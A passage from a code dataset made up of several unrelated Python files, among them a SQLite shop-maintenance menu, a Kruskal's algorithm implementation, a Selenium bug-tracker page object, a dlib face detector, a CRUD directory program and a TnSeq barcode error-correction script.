\r\ndef show_all_rec():\r\n print(\"======| SHOP DETAILS |======\\n\" )\r\n print()\r\n print(pd.read_sql_query(\"select shop_id as ShopID,shop_name as Name,shop_location as Location, shop_contactno as Number,shop_cuisinetype as CuisineType from shop_master \", conn))\r\n print()\r\n\t\r\ndef update_a_rec():\r\n \r\n print(\"======| UPADTE SHOP |======\\n\")\r\n curs = conn.cursor()\r\n shop_id = str(input(\"Please enter the Shop ID to be updated : \"))\r\n\t\r\n print(\"1. Change Shop Name\")\r\n print(\"2. Change Shop Contact Number\")\r\n ch=input(\"Enter your choice: \")\r\n if(ch=='1'):\r\n \tn=input(\"enter the New Shop Name: \")\r\n \tcurs.execute(\"UPDATE shop_master set shop_name=? where shop_id = ?\",[n, shop_id])\r\n \tconn.commit()\r\n elif(ch=='2'):\r\n \tn=input(\"enter the New Shop Contact Number: \")\r\n \tcurs.execute(\"UPDATE shop_master set shop_contactno=? where shop_id = ?\",[n, shop_id])\r\n \tconn.commit()\r\n else:\r\n \tprint(\"Invalid choice....!!!!\")\r\n print(\"======| SHOP DETAILS UPADTED SUCCESFULLY |======\\n\")\r\n\r\ndef delete_a_rec():\r\n\tprint(\"======| DELETE SHOP |======\\n\")\r\n\tcurs = conn.cursor()\r\n\tshop_id = str(input(\"Please enter the Shop ID to be deleted : \"))\r\n\tcurs.execute(\"DELETE from shop_master where shop_id = ?\", shop_id)\r\n\tprint(\"======| SHOP DELETED SUCCESFULLY |======\\n\")\r\n\tconn.commit()\r\n\r\n\r\n## this is the main program\r\n\r\nconn = sqlite3.connect('shop_master_db')\r\n\r\nwhile True:\r\n print('=============================\\n')\r\n print(' SHOP MASTER MAINTENANCE \\n')\r\n print('=============================\\n')\r\n print(' Please choose from the following option : ')\r\n print()\r\n print('1. ADD SHOP \\n')\r\n print('2. SHOP DETAILS \\n')\r\n print('3. DELETE SHOP \\n')\r\n print('4. UPDATE SHOP DETAILS \\n')\r\n print()\r\n print('0. EXIT SHOP MASTER \\n')\r\n \r\n choice = input(\"Please Enter your option : \")\r\n if choice == '1':\r\n add_rec()\r\n elif choice == '2':\r\n show_all_rec()\r\n elif choice == '3':\r\n show_all_rec()\r\n delete_a_rec()\r\n elif choice == '4':\r\n show_all_rec()\r\n update_a_rec()\r\n elif choice == '0':\r\n \tconn.close()\r\n \tbreak\r\n else:\r\n \tprint(\"Invalid choice ....!!!!\\n\")\r\n \tprint(\"Please enter a valid option\")\r\n","sub_path":"shop_master.py","file_name":"shop_master.py","file_ext":"py","file_size_in_byte":3304,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"140542465","text":"# [CITATION] Data structures via https://www.geeksforgeeks.org/union-find/\n# Python Program for union-find algorithm to detect cycle in a undirected graph\n# we have one edge for any two vertex i.e 1-2 is either 1-2 or 2-1 but not both\nimport queue\nfrom collections import defaultdict\nimport math\n\nclass Edge:\n left = None\n right = None\n weight = math.inf\n\n def __init__(self, l, r, w):\n self.left = l\n self.right = r\n self.weight = w\n\n def __lt__(self, other):\n return self.weight < other.weight\n\n\n# This class represents a undirected graph using adjacency list representation\nclass Graph:\n def __init__(self, vertices):\n self.V = vertices # No. of vertices\n self.graph = defaultdict(list) # default dictionary to store graph\n\n # function to add an edge to graph\n def addEdge(self, u, v):\n self.graph[u].append(v)\n\n def removeEdge(self, u, v):\n if v in self.graph[u]:\n self.graph[u].remove(v)\n\n # A utility function to find the subset of an element i\n def find_parent(self, parent, i):\n if parent[i] == -1:\n return i\n if parent[i] != -1:\n return self.find_parent(parent, parent[i])\n\n # A utility function to do union of two subsets\n\n def union(self, parent, x, y):\n x_set = self.find_parent(parent, x)\n y_set = self.find_parent(parent, y)\n parent[x_set] = y_set\n\n # The main function to check whether a given graph\n\n # contains cycle or not\n def isCyclic(self):\n\n # Allocate memory for creating V subsets and\n # Initialize all subsets as single element sets\n parent = [-1] * (self.V)\n\n # Iterate through all edges of graph, find subset of both\n # vertices of every edge, if both subsets are same, then\n # there is cycle in graph.\n for i in self.graph:\n for j in self.graph[i]:\n x = self.find_parent(parent, i)\n y = self.find_parent(parent, j)\n if x == y:\n return True\n self.union(parent, x, y)\n\ndef kruskals(matrix):\n graph = Graph(len(matrix))\n Queue = queue.PriorityQueue()\n for i in range(0, len(matrix)):\n for j in range(i, len(matrix)):\n if matrix[i][j] != 0:\n Queue.put(Edge(l=i, r=j, w=matrix[i][j]))\n\n while not Queue.empty():\n temp_edge = Queue.get()\n graph.addEdge(temp_edge.left, temp_edge.right)\n if graph.isCyclic():\n graph.removeEdge(temp_edge.left, temp_edge.right)\n\n cost = 0\n path_string = []\n for k,v in graph.graph.items():\n for node in v:\n cost += matrix[k][node]\n path_string.append('({})-({})'.format(k, node))\n return path_string, cost\n","sub_path":"kruskals.py","file_name":"kruskals.py","file_ext":"py","file_size_in_byte":2802,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"487149290","text":"import pyodbc\ncnxn = pyodbc.connect(\"Driver={SQL Server Native Client 11.0};\"\n \"Server=HSC-HVSLXP1;\"\n \"Database=Movies;\"\n \"Trusted_Connection=yes;\")\n\n\ncursor = cnxn.cursor()\ncursor.execute('SELECT * FROM tblActor')\n\n'''\ncnxn = pyodbc.connect(< db details here >)\ncursor = cnxn.cursor()\nscript = \"\"\"\nSELECT * FROM my_table\n\"\"\"\n\n'''\n\nfor row in cursor:\n print('row = %r' % (row,))\n \n\n","sub_path":"Dev_fetchFolderFromGitHub/sqlAccessor.py","file_name":"sqlAccessor.py","file_ext":"py","file_size_in_byte":451,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"625153679","text":"from django.core.management.base import BaseCommand, CommandError\nfrom status.utils import run_all\n\n\nclass Command(BaseCommand):\n help = 'Runs a full scan of all plugins in the status application'\n\n def handle(self, *args, **options):\n self.stdout.write(self.style.SUCCESS('Running a full scan'))\n try:\n run_all()\n self.stdout.write(self.style.SUCCESS('Completed'))\n except Exception as ex:\n self.stdout.write(self.style.ERROR(ex))\n raise CommandError('Status full scan failed')\n","sub_path":"status/management/commands/scan_all.py","file_name":"scan_all.py","file_ext":"py","file_size_in_byte":550,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"212475356","text":"\"\"\"\nDescription : This script is to process the result of pairwise identity decoding for each patient\nCreated on Sun Jan 14 08:06:53 2018\nAuthor : Arish Alreja (aalreja@andrew.cmu.edu)\n\"\"\"\n\"\"\" Dependencies \"\"\"\nimport numpy as np\nimport lcndLibrary as lcnd\nimport pickle as pickle\nimport os as os \nimport importlib as imp\nimp.reload(lcnd)\ntask = 'KDEFg'\nclassifierName= 'NC'\n[data_path,result_path] = lcnd.getPaths(schema=task)\npatient_granularity = False\n[scores,ConfusionMatrices,pipelines,grids,train_indexes,test_indexes,unique_labels,chance,names] = pickle.load(open(os.path.join(result_path,'identity_pairwise_'+str(patient_granularity)+'_'+classifierName+'.p'),\"rb\")) \nfor i in range(0,len(names)):\n [patient_score,patient_ConfusionMatrices,patient_pipelines,patient_grids,patient_train_indexes,patient_test_indexes,patient_unique_labels,chance,mypatient] = pickle.load(open(os.path.join(result_path,'identity_pairwise_'+patient_names[i]+'_'+classifierName+'.p'),\"rb\"))\n CVScores = patient_score[::,::,0]\n TestScores = patient_score[::,::,1]\n MeanCV = np.mean(CVScores[np.triu_indices(40,1)])\n MeanTest = np.mean(TestScores[np.triu_indices(40,1)])\n print(names[i],np.around(MeanCV,decimals=4),np.around(MeanTest,decimals=4),len(np.argwhere(CVScores!=0)),len(np.argwhere(TestScores!=0)))","sub_path":"code/old_code/p_identity_pairwise.py","file_name":"p_identity_pairwise.py","file_ext":"py","file_size_in_byte":1424,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"490145011","text":"import time\nfrom selenium import webdriver\nfrom selenium.webdriver.common.by import By\n\nfrom common.Base import Base\n\n\nclass addBug(Base):\n #登录\n la1 = (By.CSS_SELECTOR,\"#account\")\n la2 = (By.CSS_SELECTOR,\"[name='password']\")\n la3=(By.XPATH,\".//*[@id='submit']\")\n\n #添加bug\n cilcktest = (By.XPATH,\".//*[@id='mainmenu']/ul/li[4]/a\")\n clickbug = (By.XPATH,\".//*[@id='modulemenu']/ul/li[2]/a\")\n addp=(By.XPATH ,\".//*[@id='featurebar']/div[1]/div[2]/a[2]\")\n trunk = (By.XPATH , \".//*[@id='openedBuild_chosen']/ul\")\n choosetrunk = (By.XPATH,\".//*[@id='openedBuild_chosen']/div/ul/li\")\n zhipai = (By.XPATH,\".//*[@id='assignedTo_chosen']/a\")\n # zhipai1 = (By.XPATH,\".//*[@id='assignedTo_chosen']/div/ul/li[1]\")\n\n\n #bug内容\n bugtitle = (By.ID,\"title\")\n bodycotext = (By.CLASS_NAME,\"article-content\")\n submit = (By.CSS_SELECTOR,\"#submit\")\n\n titlename = (By.XPATH,\".//*[@id='bugList']/tbody/tr[1]/td[4]/a\")\n\n\n\n def loginZentao(self,name = \"zhuhongxia\",pwd=\"zhuhongxia\"):\n self.driver.get(\"http://10.155.20.210/pms/index.php?m=user&f=login\")\n self.sendtext(self.la1,name)\n self.sendtext(self.la2,pwd)\n self.click(self.la3)\n\n def addtest(self,_title):\n self.click(self.cilcktest)\n self.click(self.clickbug)\n self.click(self.addp)\n self.click(self.trunk)\n self.click(self.choosetrunk)\n self.click(self.zhipai)\n # self.click(self.zhipai1)\n\n #遍历li下拉列表\n # pailist = self.driver.find_elements_by_xpath(\".//*[@id='assignedTo_chosen']/div/ul/li\")\n time.sleep(2)\n pailist = self.findElements((By.XPATH,\".//*[@id='assignedTo_chosen']/div/ul/li\"))\n\n for i in pailist:\n if \"郭晓\" in i.text:\n i.click()\n break\n\n self.sendtext(self.bugtitle, _title)\n #切换至相应的iframe\n frame = self.findElement((\"class name\",\"ke-edit-iframe\"))\n self.driver.switch_to.frame(frame)\n\n #body富文本不能clear\n self.sendtext(self.bodycotext,\"测试内容\")\n\n # a = \"内容\"\n # js = \"document.getElementsByClassName(\\\"ke-edit-iframe\\\")[0].contentWindow.document.body.innerHTML=\\\"%s\\\"\" % a\n # driver.execute_script(js)\n time.sleep(1)\n self.driver.switch_to.default_content()\n\n self.click(self.submit)\n\n def isaddSucess(self,_title):\n result = self.isTextinEle(self.titlename,_title)\n return result\n\n\n\n\nif __name__ == '__main__':\n driver = webdriver.Chrome()\n driver.get(\"http://10.155.20.210/pms/index.php?m=user&f=login\")\n\n a = addBug(driver)\n\n t = time.strftime(\"%Y_%m_%d_%H_%M_%S\")\n title = \"山桃街bug\"+ t\n\n a.loginZentao()\n a.addtest(title)\n\n # result = a.isaddSucess(title)\n # print(result)\n","sub_path":"xiaxia_web/pages/add_bug_page.py","file_name":"add_bug_page.py","file_ext":"py","file_size_in_byte":2821,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"480953118","text":"#pylint: disable = E1101\n#pylint: disable = C0330\n#pylint: disable = W0312\n\nclass Node(object):\n '''class that creates the nodes and its properties'''\n #Prototype : def __init__(self, pos)\n #Argument : self, pos\n #Description : constructor for the Node class\n #Precondition : none\n #Postcondition : constructor for the Node class\n #Protection Level : Public\n def __init__(self, pos):\n '''constructor'''\n self.position = pos\n self.parent = None\n self.h_score = 0\n self.g_score = 0\n self.f_score = 0\n self.is_traversable = True\n self.is_goal = False\n self.is_start = False\n\n #Prototype : def set_parent(self, pos)\n #Argument : self, other\n #Description : sets the parent of a node to another\n #Precondition : an instance of the Node class\n #Postcondition : sets the parent of a node to another\n #Protection Level : Public\n def set_parent(self, other):\n '''sets the parent of a node to another'''\n self.parent = other\n return self.parent\n\n #Prototype : def calc_g(self, pos)\n #Argument : self, other\n #Description : returns the G score of the node\n #Precondition : an instance of the Node class\n #Postcondition : returns the G score of the node\n #Protection Level : Public\n def calc_g(self, other):\n '''returns the G score of the node'''\n if self.parent is None:\n if ((self.position.x_position is other.position.x_position and\n self.position.y_position is not other.position.y_position)\n or (self.position.x_position is not other.position.x_position and\n self.position.y_position is other.position.y_position)):\n self.g_score = other.g_score + 10\n else:\n self.g_score = other.g_score + 14\n elif self.parent is not None:\n tent_g = self.g_score\n if ((self.position.x_position is other.position.x_position and\n self.position.y_position is not other.position.y_position)\n or (self.position.x_position is not other.position.x_position and\n self.position.y_position is other.position.y_position)):\n tent_g = other.g_score + 10\n else:\n tent_g = other.g_score + 14\n if tent_g < self.g_score:\n self.g_score = tent_g\n self.set_parent(other)\n\n #Prototype : def calc_h(self, pos)\n #Argument : self, other\n #Description : returns the H score of the node\n #Precondition : an instance of the Node class\n #Postcondition : returns the H score of the node\n #Protection Level : Public\n def calc_h(self, other):\n '''returns the H score of the node'''\n x_distance = abs(other.position.x_position - self.position.x_position)\n y_distance = abs(other.position.y_position - self.position.y_position)\n total = x_distance + y_distance\n self.h_score = total * 10\n return self.h_score\n\n #Prototype : def calc_f(self, pos)\n #Argument : self, other\n #Description : returns the F score of the node\n #Precondition : an instance of the Node class\n #Postcondition : returns the F score of the node\n #Protection Level : Public\n def calc_f(self):\n '''returns the F score of the node'''\n self.f_score = self.g_score + self.h_score\n return self.f_score\n\n\n","sub_path":"NodeClass.py","file_name":"NodeClass.py","file_ext":"py","file_size_in_byte":3427,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"461712931","text":"# CRUD (Create, Read, Update, Delete)\n\ndirectorio = {\n 1254587: {\n 'nombre': 'Jhonatan',\n 'ciudad': 'Pereira',\n 'profesion': 'Ingeniero de Sistemas y Computación',\n 'habilidades': {\n 'programacion': True,\n 'bases_de_datos': True,\n 'cocina': True,\n 'frances': False\n }\n },\n 2548754: {\n 'nombre': 'Octavio',\n 'ciudad': 'Manizales',\n 'profesion': 'Ecomista',\n 'habilidades': {\n 'programacion': False,\n 'bases_de_datos': False,\n 'cocina': True,\n 'frances': True\n }\n }\n}\n\n\ndef comprobacionSN(msj:str)->bool:\n while True:\n entra = input(msj)\n if entra == 'S' or entra == 's' or entra == 'Si' or entra == 'si':\n return True\n elif entra == 'N' or entra == 'n' or entra == 'No' or entra == 'no':\n return False\n #else:\n # continue\n\n\ndef comprobarNum(msj:str)->int:\n while True:\n numero = input(msj)\n if numero.isdigit():\n return int(numero)\n \n\ndef menu(db:dict)->None:\n\n while True:\n print('----- CRUD -----')\n print('----------------')\n print('-1- Agregar Persona')\n print('-2- Mostrar Persona')\n print('-3- Editar Persona')\n print('-4- Eliminar Persona')\n print('-5- Salir')\n opcion = input('Ingrese una opción del menu: ')\n\n if opcion == '1':\n db = crear(db)\n elif opcion == '2':\n imprimir(db)\n elif opcion == '3':\n db = actualizar(db)\n elif opcion == '4':\n db = eliminar(db)\n elif opcion == '5':\n break\n else:\n print('La opción no es valida.')\n\n\n# CREATE\ndef crear(db:dict)->dict:\n\n dictHabilidades = {}\n \n print('Valores para la nueva persona')\n\n msj = 'Ingrese en numero de identificación de la persona: '\n nuip = comprobarNum(msj)\n nombre = input('Ingrese el nombre de la persona: ')\n ciudad = input('Ingrese la ciudad de residencia: ')\n profesion = input('Ingrese la profesión: ')\n\n habilidades = []\n #programacion = input('Sabe de programación? [S/s] Sí [N/n] No: ')\n msj = 'Sabe de programación? [S/s] Sí [N/n] No: '\n if comprobacionSN(msj) == True:\n dictHabilidades['programacion'] = True\n else:\n dictHabilidades['programacion'] = False\n \n #bases_de_datos = input('Sabe de bases de datos? [S/s] Sí [N/n] No: ')\n msj = 'Sabe de bases de datos? [S/s] Sí [N/n] No: '\n if comprobacionSN(msj) == True:\n dictHabilidades['bases-de_datos'] = True\n else:\n dictHabilidades['bases-de_datos'] = False\n \n while True:\n #anadirHabilidades = input('Desea añadir una habilidad más? [S/s] Sí [N/n] No: ')\n msj = 'Desea añadir una habilidad más? [S/s] Sí [N/n] No: '\n if comprobacionSN(msj) == True:\n habilidad = input('Ingrese el nombre de la habilidad: ')\n habilidades.append(habilidad)\n else:\n break\n\n for habilidad in habilidades:\n dictHabilidades[habilidad] = True\n\n persona = {\n 'nombre': nombre,\n 'ciudad': ciudad,\n 'profesion': profesion,\n 'habilidades': dictHabilidades\n }\n\n # newItem = len(directorio) + 1 # Fue remplazado por nuip\n directorio[nuip] = persona\n\n return db\n\n\n# READ\ndef imprimir(db:dict)->None:\n msj = 'Ingrese el numero de documento de la persona a mostrar: '\n nuip = comprobarNum(msj)\n # Falta validar si la llave principal existe\n\n print(f'La información de {db[nuip][\"nombre\"]} es')\n print(f'Ciudad de residencia: {db[nuip][\"ciudad\"]}')\n print(f'Su profesión es: {db[nuip][\"profesion\"]}')\n print(f'Habilidades: {db[nuip][\"habilidades\"]}')\n\n\n# UPDATE\ndef actualizar(db:dict)->dict:\n msj = 'Ingrese el numero de documento de la persona a consultar: '\n nuip = comprobarNum(msj)\n # Falta validar si la llave principal existe\n\n msj = 'Quiere actualizar el nombre? [S/s] Sí [N/n] No'\n if comprobacionSN(msj):\n nombre = input('Ingrese el nombre: ')\n db[nuip]['nombre'] = nombre\n\n msj = 'Quiere actualizar la ciudad? '\n if comprobacionSN(msj):\n ciudad = input('Ingrese la ciudad: ')\n db[nuip].update({'ciudad': ciudad})\n\n return db\n\n\n# DELETE\ndef eliminar(db:dict)->dict:\n msj = 'Ingrese el numero de documento de la persona a eliminar: '\n nuip = comprobarNum(msj)\n # Falta validar si la llave principal existe\n\n persona = db.pop(nuip)\n\n print(f'La iformación de {persona[\"nombre\"]} fue eliminada.')\n\n return db\n\n\n#dbActualizada = crear(directorio)\n#dbActualizada = crear(dbActualizada)\n#dbActualizada = crear(dbActualizada)\n#dbActualizada = crear(dbActualizada)\n#print(dbActulizada)\n\n#dbActulizada = actualizar(directorio)\n#print(dbActulizada)\n\n#dbActualizada = eliminar(directorio)\n#print(dbActualizada)\n\nmenu(directorio)","sub_path":"Ciclo I/Unidad 3/crud.py","file_name":"crud.py","file_ext":"py","file_size_in_byte":4979,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"357400566","text":"# ******************************************************************************\n\"\"\"\nDetects or extracts a face(s) from an image with the dlib decoder.\n\n\nPrivate Functions:\n . none,\n\n\nPublic Class:\n . Dlib a class to detect or extract a face from an image,\n\n\nPrivate Methods:\n . __detect_face detects the face(s) on the passed-in image,\n\n\nPublic Methods:\n . get_face extracts the face from the passed-in image,\n . get_image_with_faces detects and highlights the face(s) on the image,\n\n\n@namespace _\n@author \n@since 0.0.0\n@version 0.0.0\n@licence MIT. Copyright (c) 2020 Mobilabs \n\"\"\"\n# ******************************************************************************\nimport cv2\nimport dlib\n\nRECT_COLOR = (0, 255, 255)\nRECT_THICKNESS = 2\n\n\n# -- Public --------------------------------------------------------------------\n\nclass Dlib:\n \"\"\"A class to detect or extract a face from an image with dlib.\n\n ### Attributes:\n classifier (obj): the dlib decoder object.\n\n ### Methods:\n get_face(image):\n extracts the face from the passed-in image.\n\n get_image_with_faces(image):\n detects and highlights the face(s) on the passed-in image.\n\n ### Raises:\n none\n \"\"\"\n\n def __init__(self):\n \"\"\"Creates the dlib decoder.\"\"\"\n self.detector = dlib.get_frontal_face_detector()\n\n def __detect_face(self, img):\n \"\"\"Detects the face(s) on the passed-in image.\n\n ### Parameters:\n param1 (str): the path of the input image.\n\n ### Returns:\n (arr): returns the coordinates of the detected face(s).\n\n ### Raises:\n -\n \"\"\"\n gray = cv2.cvtColor(img.copy(), cv2.COLOR_BGR2GRAY)\n return self.detector(gray, 1)\n\n def get_face(self, image):\n \"\"\"Extracts the face from the passed-in image.\n\n ### Parameters:\n param1 (arr): the input image.\n\n ### Returns:\n (arr): returns the extracted face.\n\n ### Raises:\n -\n \"\"\"\n face = self.__detect_face(image)[0]\n x1, y1, x2, y2, _, _ = face.left(), face.top(), \\\n face.right() + 1, face.bottom() + 1, face.width(), face.height()\n return image[y1:y1 + (y2 - y1), x1:x1 + (x2 - x1), :]\n\n def get_image_with_faces(self, image):\n \"\"\"Detects and highlights the face(s) on the passed-in image.\n\n ### Parameters:\n param1 (arr): the input image.\n\n ### Returns:\n (arr): returns the input image with highlighted face(s).\n\n ### Raises:\n -\n \"\"\"\n img = image.copy()\n faces = self.__detect_face(img)\n\n if len(faces) > 0:\n for i, d in enumerate(faces):\n x1, y1, x2, y2, _, _ = d.left(), d.top(), \\\n d.right() + 1, d.bottom() + 1, d.width(), d.height()\n cv2.rectangle(img, (x1, y1), (x2, y2), RECT_COLOR, RECT_THICKNESS)\n return img\n\n# -- o ---\n","sub_path":"src/decoders/dlib.py","file_name":"dlib.py","file_ext":"py","file_size_in_byte":3138,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"174966013","text":"# coding:utf-8 \n#功能: 将 TingpaiLogic 里头 带 str_headcombi 且不带 str_TingpaiLogic , str_return , str_hulue 的行数全部注释 \n#参数: t 为注释 f 为反注释\n#说明: 如果想手动忽略掉某一行 请在行尾加上 --python_hulue\nimport itertools\nimport sys\n\nstr_headcombi = \"headcombi\"\nstr_TingpaiLogic = \"TingpaiLogic\"\nstr_return = \"return\"\nstr_hulue = \"python_hulue\"\n\ndef annotation (file):\n #加注释\n import os\n data = \"\"\n # 传入文件 修改后得文件\n with open(file, 'r+', encoding='utf-8') as f1:\n f1.seek(0) # 指针移到顶部\n for line in f1: # 逐行修改,并写入a1.bak\n #带 str_headcombi 并且 不带 str_TingpaiLogic str_return str_hulue --python_zhushi 就注释\n if line.find(str_headcombi) != -1 and line.find(str_TingpaiLogic) == -1 and line.find(str_return) == -1 \\\n and line.find(str_hulue) == -1 and line.find(\"--python_zhushi\") == -1:\n new_line = '--python_zhushi' + line\n data += new_line\n else:\n data += line\n wopen = open(file, 'w', encoding='utf-8')\n wopen.write(data)\n wopen.close()\n f1.close()\n\ndef de_annotation (file):\n #解注释 \n import os\n data = \"\"\n # 传入文件 修改后得文件\n with open(file, 'r+', encoding='utf-8') as f1:\n f1.seek(0) # 指针移到顶部\n for line in f1: # 逐行修改,并写入a1.bak\n #带 str_headcombi 并且 不带 str_TingpaiLogic str_return str_hulue 就注释\n if line.find(str_headcombi) != -1 and line.find(str_TingpaiLogic) == -1 and line.find(str_return) == -1 \\\n and line.find(str_hulue) == -1 and line.find('--python_zhushi') != -1:\n new_line = line.replace(\"--python_zhushi\", '')\n data += new_line\n else:\n data += line\n wopen = open(file, 'w', encoding='utf-8')\n wopen.write(data)\n wopen.close()\n f1.close()\n\ndef python_hulue(file, is_annotation):\n if is_annotation:#加注释\n return annotation(file)\n return de_annotation(file)#解注释\n\nif __name__ == '__main__':\n if len(sys.argv) > 1:\n if sys.argv[1] == \"t\":\n print(\"进行注释\")\n python_hulue('TingpaiLogic.lua', True)\n if sys.argv[1] == \"f\":\n print(\"进行解注释\")\n python_hulue('TingpaiLogic.lua', False)\n if len(sys.argv) <= 1:\n print(\"需要参数 t : 注释 ; f : 反注释\")\n # true 是加注释 false 是解注释\n# python_hulue('TingpaiLogic.lua', True)\n# python_hulue('TingpaiLogic.lua', False)\n","sub_path":"lua/annotationTingPaiLogic.py","file_name":"annotationTingPaiLogic.py","file_ext":"py","file_size_in_byte":2732,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"279809163","text":"\"\"\"\nA program to error-correct barcodes and edges in barcoded TnSeq bc association sequencing\nUses a single-bp-deletion-overlaps error correction algorithm (described in \"DeletionClusterator\")\nOutputs both an unfiltered file and a filtered one, where bcs that are associated with multiple edges are excluded\n\"\"\"\n\nimport csv\nimport pandas as pd\nimport numpy as np\nimport Levenshtein\nfrom DeletionErrorCorrector import DeletionClusterator\nfrom milo_tools import reverse_transcribe\nfrom collections import defaultdict\n\nimport argparse\nparser = argparse.ArgumentParser()\nparser.add_argument('input_file', help='input file')\nparser.add_argument('unfiltered_output_csv', help='output csv - all bc edge counts')\nparser.add_argument('filtered_output_csv', help='output csv - filtered for conflicting edges etc.')\nparser.add_argument('excluded_bc_output', help='file with list of excluded barcodes (due to being associated with >1 edge)')\nparser.add_argument('-row_column_libraries', action='store_true', help='call if libraries are rows and columns and bcs should be called to wells')\n\nargs = parser.parse_args()\n\n# POSITIONAL ARGS\ninput_file = args.input_file\n# output files\nunfiltered_output_csv = args.unfiltered_output_csv\nfiltered_output_csv = args.filtered_output_csv\nexcluded_bc_output = args.excluded_bc_output\nrow_column_libraries = args.row_column_libraries\n\n# max edits for errors to cluster\n#EDITDIST_THRESH_EDGE = 3\nEDITDIST_THRESH_BC = 3\n\n# potential centroids with less than or equal to this number of total reads are not included\n#CENTROID_COUNT_THRESH_EDGE = 20\nCENTROID_COUNT_THRESH_BC = 3\n\ndef decide_lib(row, which_ones, which_sum):\n # function for calling which library a bc is in - must have >3 reads and >95% of all reads in one column or row\n if row[which_sum] > 0:\n for lib in which_ones:\n if row[lib]/row[which_sum] > 0.95 and row[lib] > 3:\n return lib\n return 'none'\n\n#\n# MAIN CALLS\n#\ndat = pd.read_csv(input_file)\nlib_cols = [i for i in dat.keys() if i not in ['BC', 'Reads']]\ndat.sort_values(by='Reads', ascending=False, inplace=True)\n\n# edge_counts = dat.as_matrix(['Edge', 'Total.Counts'])\n# use_edges = [i for i in edge_counts if 'CTGTCTCT' not in i[0]] # getting rid of edges with tagmentation remnants\n\n# Doing error correction on edges and barcodes separately\n# edge_corrector = DeletionClusterator(use_edges)\n# edge_corrector.get_deletion_clusters(False)\n# edge_corrector.cluster_within_delnets(EDITDIST_THRESH_EDGE, CENTROID_COUNT_THRESH_EDGE, False)\n\nbc_corrector = DeletionClusterator(dat.as_matrix(['BC', 'Reads']))\nbc_corrector.get_deletion_clusters(False)\nbc_corrector.cluster_within_delnets(EDITDIST_THRESH_BC, CENTROID_COUNT_THRESH_BC, False)\n\nrows_total = 0\nrows_used = 0\ncounts_total = 0\ncounts_used = 0\nbc_not_clustered = 0\nedge_not_clustered = 0\n\nbc_counts = defaultdict(lambda: ['', 0] + [0] * len(lib_cols))\n#bc_edge_counts = defaultdict(lambda: ['', '', 0] + [0] * len(lib_cols))\nconflicting_bc_to_edge = dict()\nconflicting_bcs = set()\n\n# Adding counts based on error correction\nfor row in dat.as_matrix(['BC', 'Reads'] + lib_cols):\n rows_total += 1\n counts_total += row[1]\n raw_bc = row[0]\n #edge = row[1]\n # if edge in edge_corrector.corrector:\n# real_edge = edge_corrector.corrector[edge]\n if raw_bc in bc_corrector.corrector:\n real_bc = bc_corrector.corrector[raw_bc]\n corrected_row = [real_bc] + list(row[1:])\n rows_used += 1\n counts_used += row[1]\n #bc_edge = real_bc + '_' + real_edge\n record = bc_counts[real_bc] # don't need to check membership b/c of defaultdict\n if record[0] == '':\n record[0] = real_bc\n for i in range(1, len(bc_counts[real_bc])):\n bc_counts[real_bc][i] += corrected_row[i]\n else:\n bc_not_clustered += row[2]\n # else:\n# edge_not_clustered += row[2]\n\nprint('Used', rows_used, 'rows out of', rows_total, 'and', counts_used, 'counts out of', counts_total)\nprint('Lost', bc_not_clustered, 'b/c bc did not cluster')\n\nwith open(unfiltered_output_csv, 'w') as outfile:\n writer = csv.writer(outfile)\n writer.writerow(['BC', 'Reads'] + lib_cols)\n for bc in sorted([i for i in bc_counts.keys()], key=lambda x: bc_counts[x][1], reverse=True):\n writer.writerow(bc_counts[bc])\n\n\n# Filtering output so that bcs associated with more than one edge are excluded\n# excluded_bcs = set()\n# data_by_bc = dict()\n# short_to_long_edge = dict()\n# for bc_edge in sorted([i for i in bc_edge_counts.keys()], key=lambda x: bc_edge_counts[x][2], reverse=True):\n# result_row = bc_edge_counts[bc_edge]\n# bc, edge, counts = result_row[:3]\n# ### Checking for barcodes that are associated with more than one short edge\n# if bc in data_by_bc: # this is at least the second bc_edge combo for this bc\n# if there is a second short edge that has >10% the reads of the most common short edge, exclude the \n# original (top) barcode since we can't be confident about bc association in this case\n# top_edge_counts = data_by_bc[bc][2]\n# if counts/top_edge_counts > 0.1:\n# excluded_bcs.add(bc)\n# else:\n# otherwise this bc_edge combo is just excluded from the data, since it is likely from a chimera\n# pass\n# elif bc not in excluded_bcs:\n# this is the bc edge combination for this bc with the most reads (\"top\" short edge associated with this bc)\n# data_by_bc[bc] = result_row\n# \n# with open(excluded_bc_output, 'w') as outfile:\n# for bc in excluded_bcs:\n# outfile.write(bc + '\\n')\n# \n# excluded_reads = np.sum([bc_edge_counts[bc_edge][2] for bc_edge in bc_edge_counts if bc_edge.split('_')[0] in excluded_bcs])\n# print('After filtering for multiple assocations, excluded', len(excluded_bcs), 'bcs, representing', excluded_reads, 'reads.')\n# \n# Calling which libraries each BC belongs to based on the filtered data\n# filtered_data = []\n# for bc in sorted([i for i in data_by_bc.keys() if i not in excluded_bcs], key=lambda x: data_by_bc[x][2], reverse=True):\n# filtered_data.append(data_by_bc[bc])\n# bc_dat = pd.DataFrame(filtered_data, columns=['BC', 'Edge', 'Total.Counts'] + lib_cols)\n# bc_dat['bc.rt'] = bc_dat.apply(lambda row: reverse_transcribe(row['BC']), axis=1)\n# \n# if row_column_libraries:\n# This is more complicated specific case because I sequenced rows and columns and need to identify which well each bc is in\n# rows = ['TP-A', 'TP-B', 'TP-C', 'TP-D', 'TP-E',\n# 'TP-F', 'TP-G', 'TP-H']\n# cols = ['TP-1', 'TP-2', 'TP-3', 'TP-4', 'TP-5', 'TP-6',\n# 'TP-7', 'TP-8', 'TP-9', 'TP-10', 'TP-11', 'TP-12']\n# bc_dat['row.sum'] = np.sum(bc_dat[rows], axis=1)\n# bc_dat['col.sum'] = np.sum(bc_dat[cols], 